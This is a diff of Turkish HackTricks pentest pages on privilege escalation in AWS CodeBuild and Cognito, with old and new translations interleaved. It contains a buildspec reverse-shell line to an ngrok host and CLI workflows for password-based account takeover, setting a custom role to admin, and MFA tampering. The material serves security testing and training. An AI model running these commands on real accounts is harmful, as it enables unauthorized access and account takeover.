Böyle bir **buildspec** kullanarak bir **reverse shell** elde edebilirsiniz:
```yaml:buildspec.yml
version: 0.2
@@ -351,13 +414,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Etkisi:** Genellikle yüksek ayrıcalıklara sahip AWS CodeBuild worker tarafından kullanılan role doğrudan privesc.
**Etkisi:** Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild worker tarafından kullanılan role doğrudan privesc.
> [!WARNING]
> buildspec'in zip formatında bekleneceğini unutmayın; bu nedenle bir attacker kök dizinden `buildspec.yml`'i indirip, unzip edip, değiştirdikten sonra tekrar zipleyip yüklemek zorunda kalacaktır
> buildspec'in zip formatında olması beklenebileceğini unutmayın; bu yüzden bir saldırganın kök dizinden `buildspec.yml` dosyasını indirip, unzip edip, değiştirip tekrar zipleyip yüklemesi gerekir
Daha fazla detay için [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
**Potansiyel Etki:** Ekli AWS Codebuild rollere doğrudan privesc.
**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,23 +4,23 @@
## Cognito
Cognito hakkında daha fazla bilgi için:
Cognito hakkında daha fazla bilgi için bakınız:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Identity Pool'dan kimlik bilgileri toplama
### Identity Pool'dan credentials elde etme
Cognito, hem **authenticated** hem de **unauthenticated** **users** için **IAM role credentials** verebildiğinden, bir uygulamanın **Identity Pool ID**'sini (muhtemelen uygulamada hardcoded olarak bulunur) tespit ederseniz yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen önceden hiçbir credential'ınızın olmadığı bir AWS hesabı içinde).
Cognito, hem **authenticated** hem de **unauthenticated** **users**'a **IAM role credentials** verebildiğinden, bir uygulamanın **Identity Pool ID**'sini (genellikle hardcoded olur) bulursanız yeni credentials elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen daha önce hiçbir credential'ınızın olmadığı bir AWS hesabı içinde).
Daha fazla bilgi için [**bu sayfaya bakın**](../../aws-unauthenticated-enum-access/index.html#cognito).
Daha fazla bilgi için [**bu sayfayı kontrol edin**](../../aws-unauthenticated-enum-access/index.html#cognito).
**Potansiyel Etki:** unauth users'a atanmış servis rolüne doğrudan privesc (ve muhtemelen auth users'a atanmış olana da).
**Potential Impact:** services role'a bağlı unauth users üzerinden doğrudan privesc (ve muhtemelen auth users'a bağlı role için de).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
Bu izin ile cognito uygulamasının **authenticated/unauthenticated users**'lerine herhangi bir **cognito role** atayabilirsiniz.
Bu izinle, cognito uygulamasının authenticated/unauthenticated users'larına herhangi bir cognito role atayabilirsiniz.
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
Eğer cognito uygulaması **doesn't have unauthenticated users enabled** ise, bunu etkinleştirmek için ayrıca `cognito-identity:UpdateIdentityPool` iznine ihtiyaç duyabilirsiniz.
Eğer cognito uygulaması **kimliği doğrulanmamış kullanıcılar etkinleştirilmemişse** bunu etkinleştirmek için ayrıca `cognito-identity:UpdateIdentityPool` iznine ihtiyaç duyabilirsiniz.
**Olası Etki:** Herhangi bir cognito role doğrudan privesc.
### `cognito-identity:update-identity-pool`
Bu izne sahip bir saldırgan, örneğin kontrolü altındaki bir Cognito User Pool'u veya giriş yapabileceği herhangi bir başka identity provider'ı **bu Cognito Identity Pool'a erişim yolu** olarak ayarlayabilir. Sonra, o kullanıcı sağlayıcısına sadece **login** olması, Identity Pool'da yapılandırılmış **authenticated role**'e erişmesine izin verecektir.
Bu izne sahip bir saldırgan, örneğin kontrolü altına aldığı bir Cognito User Pool'u veya giriş yapabildiği başka herhangi bir identity provider'ı **bu Cognito Identity Pool'a erişim yolu** olarak ayarlayabilir. Daha sonra, o kullanıcı sağlayıcısında sadece **login** yapmak, Identity Pool'da yapılandırılmış **authenticated role**'a **erişmesine izin verir**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
Ayrıca bu izni **basic auth'a izin vermek için kötüye kullanmak** de mümkündür:
Bu izni **kötüye kullanarak basic auth'a izin vermek** de mümkündür:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
@@ -69,40 +69,40 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potansiyel Etki**: identity pool içinde yapılandırılmış kimliği doğrulanmış IAM rolünün ele geçirilmesi.
**Potansiyel Etki**: identity pool içinde yapılandırılmış authenticated IAM rolünün ele geçirilmesi.
### `cognito-idp:AdminAddUserToGroup`
Bu izin, **bir Cognito kullanıcısını bir Cognito grubuna eklemeye** olanak verir; bu nedenle bir saldırgan bu izni suistimal ederek kendi kontrolündeki bir kullanıcıyı diğer gruplara, **daha yüksek** ayrıcalıklara veya **farklı IAM rollere** sahip gruplara ekleyebilir:
Bu izin, bir Cognito user'ı bir Cognito group'a **eklemeye** olanak tanır; bu nedenle bir saldırgan bu izni kötüye kullanarak kontrolündeki bir kullanıcıyı daha **iyi** ayrıcalıklara veya **farklı IAM rollere** sahip diğer gruplara ekleyebilir:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**Potansiyel Etki:** Diğer Cognito gruplarına ve User Pool Groups'e bağlı IAM rollere Privesc.
**Olası Etki:** Privesc, diğer Cognito gruplarına ve User Pool Groups'a bağlı IAM rollere.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
Bu izinlere sahip bir saldırgan, **gruplar oluşturma/güncelleme** ile **ele geçirilmiş bir Cognito Identity Provider tarafından kullanılabilecek tüm IAM rolleri** içeren gruplar oluşturup/güncelleyebilir ve ele geçirilmiş bir kullanıcıyı grubun üyesi yaparak bu rollere erişim sağlayabilir:
Bu izinlere sahip bir saldırgan, **grup oluşturma/güncelleme** işlemiyle, ele geçirilmiş bir Cognito Identity Provider tarafından kullanılabilecek **her IAM rolünü** içerecek şekilde gruplar oluşturup/güncelleyebilir ve ele geçirilmiş bir kullanıcıyı bu grubun parçası yaparak tüm bu rollere erişmesini sağlayabilir:
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**Olası Etki:** Privesc diğer Cognito IAM rollerine.
**Potential Impact:** Diğer Cognito IAM rollerine Privesc.
### `cognito-idp:AdminConfirmSignUp`
Bu izin **bir kayıt doğrulamaya** olanak tanır. Varsayılan olarak Cognito uygulamalarına herkes kaydolabilir; eğer bu bırakılırsa, bir kullanıcı herhangi bir bilgilerle bir hesap oluşturup bu izinle doğrulayabilir.
Bu izin, **bir kaydı doğrulamaya** olanak tanır. Varsayılan olarak Cognito uygulamalarına herkes kayıt olabilir; bu bırakılırsa, bir kullanıcı herhangi bir bilgilerle bir hesap oluşturup bu izinle doğrulayabilir.
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potansiyel Etki:** Eğer yeni bir kullanıcı kaydedebiliyorsanız, authenticated users için identity pool IAM role'üne dolaylı privesc elde edilebilir. Ayrıca herhangi bir hesabı onaylayabilme yeteneği uygulamanın diğer işlevlerine de dolaylı privesc sağlar.
**Potansiyel Etki:** Kayıt olabiliyorsanız authenticated users için identity pool IAM role üzerinde dolaylı privesc. Herhangi bir hesabı onaylayabilme yeteneği sayesinde diğer uygulama işlevlerine dolaylı privesc.
### `cognito-idp:AdminCreateUser`
Bu izin, bir saldırganın user pool içinde yeni bir kullanıcı oluşturmasına izin verir. Yeni kullanıcı etkin (enabled) olarak oluşturulur, ancak şifresini değiştirmesi gerekir.
Bu izin, bir saldırganın user pool içinde yeni bir kullanıcı oluşturmasına izin verir. Yeni kullanıcı enabled olarak oluşturulur, ancak şifresini değiştirmesi gerekecektir.
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
@@ -111,25 +111,25 @@ aws cognito-idp admin-create-user \
[--validation-data <value>]
[--temporary-password <value>]
```
**Olası Etki:** Doğrudan doğrulanmış kullanıcılar için identity pool IAM role üzerinde privesc. Herhangi bir kullanıcı oluşturabilen diğer uygulama işlevlerine dolaylı privesc
**Olası Etki:** Kimlik havuzu IAM rolüne kimlik doğrulaması yapılmış kullanıcılar için doğrudan privesc. Uygulamanın diğer işlevlerinin herhangi bir kullanıcı oluşturabilmesine yol açan dolaylı privesc
### `cognito-idp:AdminEnableUser`
Bu izin, saldırganın devre dışı bir kullanıcının kimlik bilgilerini bulduğu ve onu **tekrar etkinleştirmek** zorunda olduğu çok nadir bir kenar durumunda yardımcı olabilir.
Bu izin, saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve kullanıcıyı **tekrar etkinleştirmek** zorunda olduğu çok bir senaryoda yardımcı olabilir.
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**Potential Impact:** Authenticated users için identity pool IAM role'a dolaylı privesc ve eğer saldırganın credentials'ı olan bir disabled user varsa o kullanıcının permissions'larına erişim.
**Olası Etki:** Doğrulanmış kullanıcılar için identity pool IAM role dolaylı privesc ve eğer saldırgan devre dışı bırakılmış bir kullanıcının kimlik bilgilerine sahipse o kullanıcının izinlerine erişim.
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
Bu izin, [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)** ile giriş yapmaya izin verir.** Daha fazla bilgi için bağlantıyı takip edin.
Bu izin [**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Daha fazla bilgi için bağlantıyı takip edin.
### `cognito-idp:AdminSetUserPassword`
Bu izin, bir saldırganın **herhangi bir kullanıcının şifresini değiştirmesine** olanak tanır; bu da MFA etkin olmayan herhangi bir kullanıcıyı taklit etmesine izin verir.
Bu izin bir saldırganın herhangi bir kullanıcı için **bilinen bir parola belirlemesine** izin verir, genellikle **doğrudan hesap ele geçirmesiyle** sonuçlanır (özellikle kurbanın MFA etkin değilse veya ilgili auth akışı/istemci için MFA zorunlu değilse).
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
@@ -137,18 +137,43 @@ aws cognito-idp admin-set-user-password \
--password <value> \
--permanent
```
**Potential Impact:** Potansiyel olarak herhangi bir kullanıcıya doğrudan privesc sağlama; bu nedenle her kullanıcının üye olduğu tüm gruplara ve Identity Pool authenticated IAM role'e erişim.
Ortak iş akışı:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
```
İlgili izin: `cognito-idp:AdminResetUserPassword` hedef için bir sıfırlama akışını zorlamak amacıyla kullanılabilir (etki, parola kurtarma mekanizmasının nasıl uygulandığına ve saldırganın hangi bilgileri ele geçirebileceğine veya kontrol edebileceğine bağlıdır).
**Olası Etki:** Rastgele kullanıcıların hesaplarının ele geçirilmesi; uygulama katmanı ayrıcalıklarına (groups/roles/claims) erişim ve Cognito token'larına güvenen aşağı akıştaki her şeye erişim; Identity Pool tarafından kimlik doğrulaması yapılan IAM rollere olası erişim.
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
**AdminSetUserSettings**: Bir saldırgan bu izni kötüye kullanarak kontrolündeki bir cep telefonunu **SMS MFA'sı** olarak ayarlayabilir.
**AdminSetUserSettings**: Bir saldırgan bu izni kötüye kullanarak kontrolündeki bir mobil telefonu bir kullanıcının **SMS MFA of a user** olarak ayarlayabilir.
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** Öncekine benzer şekilde, bu izin bir kullanıcının MFA tercihlerini ayarlamak ve MFA korumasını bypass etmek için kullanılabilir.
**SetUserMFAPreference:** Öncekine benzer şekilde, bu izin bir kullanıcının MFA tercihlerini ayarlamak için kullanılabilir ve böylece MFA koruması bypass edilebilir.
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
@@ -156,7 +181,7 @@ aws cognito-idp admin-set-user-mfa-preference \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: Öncekine benzer şekilde, bu izin bir user pool'un MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlamaya olanak tanır.
**SetUserPoolMfaConfig**: Öncekine benzer şekilde, bu izin user pool'un MFA tercihlerini ayarlamak ve MFA korumasını atlamak için kullanılabilir.
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
@@ -164,40 +189,63 @@ aws cognito-idp set-user-pool-mfa-config \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** User pool'u güncelleyerek MFA politikasını değiştirmek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**UpdateUserPool:** user pool'u güncelleyerek MFA politikasını değiştirmek de mümkündür. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı privesc; bu, MFA korumasını atlamaya izin verebilir.
**Potansiyel Etki:** Saldırganın kimlik bilgilerini bildiği potansiyel olarak herhangi bir kullanıcı için dolaylı privesc sağlayabilir; bu, MFA korumasını atlamayı mümkün kılabilir.
### `cognito-idp:AdminUpdateUserAttributes`
Bu izne sahip bir saldırgan, kontrolündeki bir kullanıcının e-posta, telefon numarası veya diğer herhangi bir attribute'unu değiştirerek alttaki bir uygulamada daha fazla ayrıcalık elde etmeye çalışabilir.\
Bu, bir e-posta veya telefon numarasını değiştirmeye ve doğrulanmış olarak işaretlemeye izin verir.
Bu izne sahip bir saldırgan, temel uygulamada ayrıcalık elde etmeye çalışmak için bir User Pool kullanıcısının **her değiştirilebilir özniteliğini** ( `custom:*` öznitelikleri dahil) değiştirebilir.
Yüksek etkili yaygın bir örüntü, **claim-based RBAC**'in **custom attributes** kullanılarak uygulanmasıdır (örneğin `custom:role=admin`). Eğer uygulama bu claim'e güveniyorsa, onu güncellemek ve ardından yeniden kimlik doğrulaması yapmak uygulamaya dokunmadan yetkilendirmeyi atlatabilir.
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Potential Impact:** Cognito User Pool kullanan ve kullanıcı özniteliklerine göre ayrıcalık veren temel uygulamada potansiyel dolaylı privesc.
Örnek: upgrade your own role and refresh tokens:
```bash
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
```
**Potansiyel Etki:** Cognito attributes/claims'a yetkilendirme için güvenen uygulamalarda dolaylı privesc; diğer güvenlikle ilgili attribute'ları değiştirme yeteneği (örneğin bazı uygulamalarda `email_verified` veya `phone_number_verified` değerini `true` yapmak etkili olabilir).
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
Bir saldırgan bu izne sahip olduğunda, mevcut havuz istemcilerinden daha az kısıtlı bir yeni **User Pool Client oluşturabilir**. Örneğin, yeni client herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir secret içermeyebilir, token iptali devre dışı olabilir, tokenların daha uzun süre geçerli olmasına izin verebilir...
Bu izne sahip bir saldırgan, mevcut pool client'lara kıyasla **daha az kısıtlı yeni bir User Pool Client oluşturabilir**. Örneğin, yeni client herhangi bir doğrulama yöntemine izin verebilir, herhangi bir secret içermeyebilir, token revocation devre dışı olabilir, tokenların daha uzun süre geçerli olmasına izin verebilir...
Aynı şey, yeni bir client oluşturmak yerine bir **mevcut client değiştirilirse** de yapılabilir.
Aynısı, yeni bir client oluşturmak yerine **mevcut bir client değiştirilirse** de yapılabilir.
[**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) üzerinden tüm seçenekleri görebilirsiniz, inceleyin!
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**Potansiyel Etki:** User Pool tarafından kullanılan Identity Pool yetkili kullanıcısına dolaylı privesc yol açabilir; güvenlik önlemlerini gevşeten yeni bir client oluşturarak saldırganın oluşturduğu bir kullanıcıyla giriş yapabilmesine olanak tanır.
**Potential Impact:** User Pool tarafından kullanılan Identity Pool yetkili kullanıcısına dolaylı privesc sağlayabilir; yeni bir client oluşturarak güvenlik önlemlerini gevşetir ve saldırganın oluşturduğu bir kullanıcı ile oturum açmasına olanak tanır.
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
Bir saldırgan bu izni kötüye kullanarak yeni kullanıcıların bulunduğu bir csv yükleyip kullanıcılar oluşturabilir.
Bir saldırgan bu izni kötüye kullanarak yeni kullanıcılar içeren bir CSV yükleyip kullanıcılar oluşturabilir.
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
@@ -214,13 +262,13 @@ aws cognito-idp start-user-import-job \
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet).
(Yeni bir import job oluşturduğunuz durumda iam passrole permission'a da ihtiyaç duyabilirsiniz, henüz test etmedim).
**Potansiyel Etki:** Kimliği doğrulanmış kullanıcılar için identity pool IAM rolüne doğrudan privesc. Uygulamanın herhangi bir kullanıcı oluşturabilme gibi diğer işlevlerine dolaylı privesc.
**Potansiyel Etki:** Kimliği doğrulanmış kullanıcılar için identity pool IAM role'a doğrudan privesc. Uygulamanın diğer işlevleri aracılığıyla herhangi bir kullanıcı oluşturabilme yeteneğiyle dolaylı privesc.
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
Bir saldırgan yeni bir identity provider oluşturabilir ve ardından **bu sağlayıcı üzerinden giriş yapabilir**.
Bir saldırgan yeni bir identity provider oluşturup ardından **bu provider üzerinden giriş yapabilir**.
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
@@ -230,38 +278,38 @@ aws cognito-idp create-identity-provider \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Olası Etki:** Doğrulanmış kullanıcılar için identity pool IAM role'e doğrudan privesc. Herhangi bir kullanıcı oluşturabilen diğer uygulama işlevlerine dolaylı privesc.
**Potansiyel Etki:** Kimliği doğrulanmış kullanıcılar için identity pool IAM role üzerinde doğrudan privesc. Herhangi bir kullanıcı oluşturabilme yeteneği nedeniyle diğer uygulama işlevlerine dolaylı privesc.
### cognito-sync:\* Analizi
### cognito-sync:* Analizi
Bu, Cognito Identity Pools rollerinde varsayılan olarak çok yaygın bir izindir. İzinlerdeki wildcard her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler saldırgan açısından çok kullanışlı değil**.
Bu, Cognito Identity Pools rollerinde varsayılan olarak çok yaygın bir izindir. Bir izin içindeki wildcard her zaman kötü görünse de (özellikle AWS'den geliyorsa), **verilen izinler bir saldırgan açısından çok kullanışlı değil**.
Bu izin, Identity Pools ve Identity Pools içindeki Identity ID'lerin kullanım bilgilerini okumaya izin verir (bu hassas bir bilgi değildir).\
Identity ID'lere [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atanmış olabilir; bunlar oturum bilgileri olup (AWS bunu **saved game** olarak tanımlar) bazı hassas bilgileri içerebilir (ancak olasılık oldukça düşüktür). Bu bilgilere nasıl erişileceğini [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) sayfasında bulabilirsiniz.
Bu izin, Identity Pools'un ve Identity Pools içindeki Identity ID'lerin kullanıcı bilgilerini okumaya izin verir (bu hassas bilgi değildir).\
Identity ID'lere [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atanmış olabilir; bunlar oturumlara ait bilgilerdir (AWS bunu **saved game** gibi tanımlar). Bu bilgilerin bazı hassas içerik barındırması mümkün olabilir (ama olasılık oldukça düşüktür). Bu bilgilere nasıl erişileceğini [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) sayfasında bulabilirsiniz.
Bir saldırgan bu izinleri ayrıca bu dataset'lerdeki değişiklikleri yayınlayan bir Cognito stream'e **kayıt olmak** veya cognito olaylarında tetiklenen bir **lambda** kullanmak için de kullanabilir. Ben bunun kullanıldığını görmedim ve burada hassas bilgi beklemem, ama imkansız değil.
Bir saldırgan ayrıca bu izinleri, bu Datasets üzerindeki değişiklikleri yayınlayan bir **Cognito stream**'e **kaydolmak** veya cognito event'lerinde tetiklenen bir **lambda** kullanmak için kullanabilir. Bunu kullanıldığını görmedim ve burada hassas bilgi beklemem, ama imkansız değil.
### Otomatik Araçlar
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, artık "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içeriyor; bu modüller bir hesapta tüm Cognito varlıklarının enumerasyonunu otomatikleştirir ve zayıf konfigürasyonları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. işaretler; ayrıca kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir custom attributes, kullanılabilir identity pool kimlik bilgileri, id token'larda assumable roller vb. temelinde privilege escalation'ı otomatikleştirir.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, artık bir hesaptaki tüm Cognito varlıklarının enumeration'unu otomatikleştiren ve zayıf konfigürasyonları, erişim kontrolünde kullanılan user attributes vb. işaretleyen "cognito__enum" ve "cognito__attack" modüllerini içeriyor; ayrıca user creation'ı (MFA desteği dahil) ve modifiable custom attributes, usable identity pool credentials, id token'larda assumable roller gibi öğelere dayanarak privilege escalation'ı otomatikleştiriyor.
Modüllerin işlev açıklaması için [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)un 2. bölümüne bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın.
Modüllerin işlevlerininıklaması için [blog post]'un 2. bölümüne bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın.
#### Kullanım
Belirli bir identity pool ve user pool client'e karşı kullanıcı oluşturmayı ve tüm privesc vektörlerini denemek için örnek cognito\_\_attack kullanımı:
Örnek cognito__attack kullanımı: belirli bir identity pool ve user pool client'e karşı kullanıcı oluşturmayı denemek ve tüm privesc vektörlerini çalıştırmak için:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Mevcut AWS hesabında görünen tüm kullanıcı havuzları, kullanıcı havuzu istemcileri, kimlik havuzları, kullanıcılar vb. toplamak için örnek cognito__enum kullanımı:
Geçerli AWS hesabında görünen tüm user pools, user pool clients, identity pools, users vb.'yi toplamak için cognito__enum örnek kullanımı:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) python ile yazılmış bir CLI aracı olup, Cognito üzerinde çeşitli attacks uygular; privesc escalation da içerir.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) Cognito üzerinde çeşitli saldırıları uygulayan, privesc escalation da dahil olan python tabanlı bir CLI aracıdır.
#### Kurulum
#### Installation
```bash
$ pip install cognito-scanner
```
@@ -269,6 +317,6 @@ $ pip install cognito-scanner
```bash
$ cognito-scanner --help
```
Daha fazla bilgi için şu adresi inceleyin [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
Daha fazla bilgi için bakınız [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,29 +4,29 @@
## CodeBuild
AWS **CodeBuild**, **tam yönetilen sürekli entegrasyon hizmeti** olarak tanınmaktadır. Bu hizmetin temel amacı, kaynak kodunu derleme, testleri yürütme ve yazılımı dağıtım amaçları için paketleme sürecini otomatikleştirmektir. CodeBuild'in sunduğu en önemli avantaj, kullanıcıların kendi derleme sunucularını sağlama, yönetme ve ölçeklendirme gereksiniminden kurtulmasıdır. Bu kolaylık, hizmetin kendisinin bu görevleri yönetmesindendir. AWS CodeBuild'in temel özellikleri şunlardır:
AWS **CodeBuild**, tam yönetilen bir **sürekli entegrasyon servisi** olarak bilinir. Bu servisin temel amacı, kaynak kodunun derlenmesi, testlerin çalıştırılması ve yazılımın dağıtıma hazırlanması için paketlenmesi süreçlerini otomatikleştirmektir. CodeBuild'in başlıca faydası, kullanıcıların build sunucularını sağlamaları, yönetmeleri ve ölçeklendirmeleri gerekliliğini ortadan kaldırmasıdır; çünkü bu görevler servis tarafından yönetilir. AWS CodeBuild'in temel özellikleri şunlardır:
1. **Yönetilen Hizmet**: CodeBuild, derleme sunucularını yönetir ve ölçeklendirir, kullanıcıları sunucu bakımından kurtarır.
2. **Sürekli Entegrasyon**: Geliştirme ve dağıtım iş akışıyla entegre olur, yazılım sürüm sürecinin derleme ve test aşamalarını otomatikleştirir.
3. **Paket Üretimi**: Derleme ve test aşamalarından sonra, yazılım paketlerini hazırlar ve dağıtım için hazır hale getirir.
1. **Yönetilen Servis**: CodeBuild, build sunucularını yönetir ve ölçeklendirir; böylece kullanıcılardan sunucu bakımı yükünü alır.
2. **Sürekli Entegrasyon**: Geliştirme ve dağıtım iş akışlarıyla entegre olur, yazılım sürüm sürecinin build ve test aşamalarını otomatikleştirir.
3. **Paket Üretimi**: Build ve test aşamalarından sonra yazılım paketlerini hazırlar ve dağıtıma hazır hale getirir.
AWS CodeBuild, diğer AWS hizmetleriyle sorunsuz bir şekilde entegre olur, CI/CD (Sürekli Entegrasyon/Sürekli Dağıtım) hattının verimliliğini ve güvenilirliğini artırır.
AWS CodeBuild, diğer AWS servisleriyle sorunsuz bir şekilde entegre olur; CI/CD (Continuous Integration/Continuous Deployment) pipeline'ının verimliliğini ve güvenilirliğini artırır.
### **Github/Gitlab/Bitbucket Kimlik Bilgileri**
#### **Varsayılan kaynak kimlik bilgileri**
Bu, bazı **erişim** (bir Github token'ı veya uygulaması gibi) yapılandırmanın mümkün olduğu eski seçenektir ve bu yapılandırılmış kimlik bilgileri tüm codebuild projeleri arasında **paylaşılacaktır**.
Bu, bazı erişimlerin (ör. Github token veya app) yapılandırılabildiği eski bir seçenektir ve bu erişimler **CodeBuild projeleri arasında paylaşılarak** tüm projelerin yapılandırılmış bu kimlik bilgisi setini kullanmasına izin verir.
Saklanan kimlik bilgileri (token'lar, şifreler...) **codebuild tarafından yönetilmektedir** ve bunları AWS API'lerinden almak için herhangi bir kamuyaık yol yoktur.
Depolanan kimlik bilgileri (tokenlar, parolalar...) **CodeBuild tarafından yönetilir** ve bunları AWS APIs üzerinden almanın herkeseık bir yolu yoktur.
#### Özel kaynak kimlik bilgisi
Depo platformuna (Github, Gitlab ve Bitbucket) bağlı olarak farklı seçenekler sunulmaktadır. Ancak genel olarak, **bir token veya şifre saklamayı gerektiren herhangi bir seçenek, bunu gizli bir şekilde saklayacaktır**.
